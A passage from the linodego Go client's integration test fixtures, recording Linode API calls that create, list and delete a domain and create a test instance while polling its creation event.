X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomains_List.yaml000066400000000000000000000120121455402072200306600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899366, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: GET response: body: '{"data": [{"id": 1899366, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "399" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899366 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestEventPoller_InstancePower.yaml000066400000000000000000001533531455402072200334110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-poll-test","root_pass":"A6[Q3+hZJGy:;F2P;\u003eF7Z/IE\u00264b\u0026vlk2#9`t-9Tr16B{!ev*3O85@vfxH0yec8S9","image":"linode/ubuntu22.04","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52557263, "label": "go-ins-poll-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.34.94"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "737" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","entity.id":52557263,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "scheduled", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "551" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": 16.319566, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "505" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 31.100599, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "506" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 59, "time_remaining": null, "rate": null, "duration": 46.052411, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "506" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 61, "time_remaining": null, "rate": null, "duration": 61.066598, "action": "linode_create", "username": "youjungk01", "entity": {"label": "go-ins-poll-test", "id": 52557263, "type": "linode", "url": "/v4/linode/instances/52557263"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "506" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/603804661 method: GET response: body: '{"id": 603804661, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, 